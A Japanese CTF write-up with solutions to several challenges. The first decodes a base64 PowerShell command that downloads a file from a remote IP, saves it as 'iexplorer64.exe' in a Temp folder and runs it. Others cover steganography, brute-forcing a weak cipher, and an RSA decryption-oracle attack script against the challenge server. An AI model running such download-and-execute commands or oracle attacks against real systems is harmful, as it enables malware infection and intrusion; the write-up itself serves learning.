$ echo YwBkACAAQwA6AFwAVQBzAGUAcgBzAFwAVwBvAHIAdAB5AFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgADsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEANAA2AC4ANQA5AC4AMQA1ADYALgA4ADIALwBpAG0AZwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAGkAZQB4AHAAbABvAHIAZQByADYANAAuAGUAeABlACIAIAA7ACAALgBcAGkAZQB4AHAAbABvAHIAZQByADYANAAuAGUAeABlAA== | base64 -d
cd C:\Users\Worty\AppData\Local\Temp\ ; Invoke-WebRequest -Uri "http://146.59.156.82/img.png" -OutFile "iexplorer64.exe" ; .\iexplorer64.exe
Hero{http://146.59.156.82/img.png}

Colorz (Steganography)

StegSolveで開き、Red plane 3を見ると、フラグが見えてきた。

HERO{FL4GZ}

Poly321 (Crypto)

バイト単位の暗号化なので、ブルートフォースで復号する。

#!/usr/bin/env python3
def encrypt(v):
    return v + pow(v, 2) + pow(v, 3)

enc = [378504, 1040603, 1494654, 1380063, 1876119, 1574468, 1135784, 1168755, 1534215, 866495, 1168755, 1534215, 866495, 1657074, 1040603, 1494654, 1786323, 866495, 1699439, 1040603, 922179, 1236599, 866495, 1040603, 1343210, 980199, 1494654, 1786323, 1417584, 1574468, 1168755, 1380063, 1343210, 866495, 188499, 127550, 178808, 135303, 151739, 127550, 112944, 178808, 1968875]

dic = {}
for code in range(32, 127):
    dic[encrypt(code)] = code

flag = ''
for c in enc:
    flag += chr(dic[c])
print(flag)
Hero{this_is_very_weak_encryption_92835208}

The oracle's apprentice (Crypto)

cに-1を指定するとn-1の値が返ってくるので、nがわかる。あとはFLAGの暗号化のcの値を2つの積にすることができれば、それぞれの復号結果の積がフラグの数値となり、フラグを割り出せる。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.heroctf.fr', 9000))

data = recvuntil(s, b'\n').rstrip()
print(data)
c = int(data.split('=')[1])

found = False
for c1 in range(2, 128):
    if c % c1 == 0:
        found = True
        break

assert found
c2 = c // c1

data = recvuntil(s, b'=')
print(data + str(-1))
s.sendall(str(-1).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data) + 1

data = recvuntil(s, b'=')
print(data + str(c1))
s.sendall(str(c1).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
m1 = int(data)

data = recvuntil(s, b'=')
print(data + str(c2))
s.sendall(str(c2).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
m2 = int(data)

m = (m1 * m2) % n
flag = long_to_bytes(m).decode()
print(flag)

実行結果は以下の通り。

c=3055353762438770754855164397384568109317758944587853817865453814313534493523686196453351649152735851753357230328605183883041772957424679509209550742458742243352771598812459946479577770201432024976351968627845657217020071168879219339804766845678426844019638331976803216136203775571937986669654849911788719112810213222738455296329966116783854100929839129309062961205806904156508102097678842174850129929166009013394356354879806446686609167940314925610961107601138047044928617962662646658449298490283406655979221100662101460846259558067779960807089517082372288721406932011332896942070844188137022419634921269180447941224
c=-1
25514649846620427095471811810377591847255135402677259848466752531935926234753655051355208782847831704266271518138377777465465380093160674799000564531344478045531977933497740215788955514703263048211766391760893219276874473015995761614009954365874737496627171711671287175207105507184540878833418857699917915240032163070808711644160107154555028012992365697817255773232444058225602070240250545663918345922145316932854125441059373253326793897319552300097290764986983445569851851286780505892895042641057808118587231672398208817986203765857744467392825728565163912857959508120437966920115652769584189486036394584975285668480
c=2
12131664612862876203643515820654792898813865672206746676120955835527660777859808029122209229820282895703265866629761803699419731538327516539150007664223162713224757019035392719275244550870859357366507721688075323831298230574415704001985349350649663291483823358056080565195395764364213594785446062046526813173762993410109551517893724852895269722761620887110571387945013697690434409691372973109107582503250511369658904744428609286871040319872578362193099548728690270420391151289917653179991852877363351176060274461875549097897769095379195363380749153975580735034407764755799392472841026505875108570245954420831833235166
c=1527676881219385377427582198692284054658879472293926908932726907156767246761843098226675824576367925876678615164302591941520886478712339754604775371229371121676385799406229973239788885100716012488175984313922828608510035584439609669902383422839213422009819165988401608068101887785968993334827424955894359556405106611369227648164983058391927050464919564654531480602903452078254051048839421087425064964583004506697178177439903223343304583970157462805480553800569023522464308981331323329224649245141703327989610550331050730423129779033889980403544758541186144360703466005666448471035422094068511209817460634590223970612
4925339240496460094806976067179429789609430461148030130203330872717814683851386849657113301379900300447766516240397963048333150624554014251819666427500848246445102200072646867796172883723614805662962933585386785422399542845930891954858988685130995036024076548350102959824958914949153085157897204831787125016781766705846542599875982050673356244290440470730426955193182203089067171564977413929014588779878330562552534788279139990957932170207120571609690186716676374901520807561128430556767428109985035440954801043903016729305954841806949450072467687806138920063184366333195671414199640490811101936382189268271420272362
Hero{m4ybe_le4ving_the_1nt3rn_run_th3_plac3_wasnt_a_g00d_id3a}
Hero{m4ybe_le4ving_the_1nt3rn_run_th3_plac3_wasnt_a_g00d_id3a}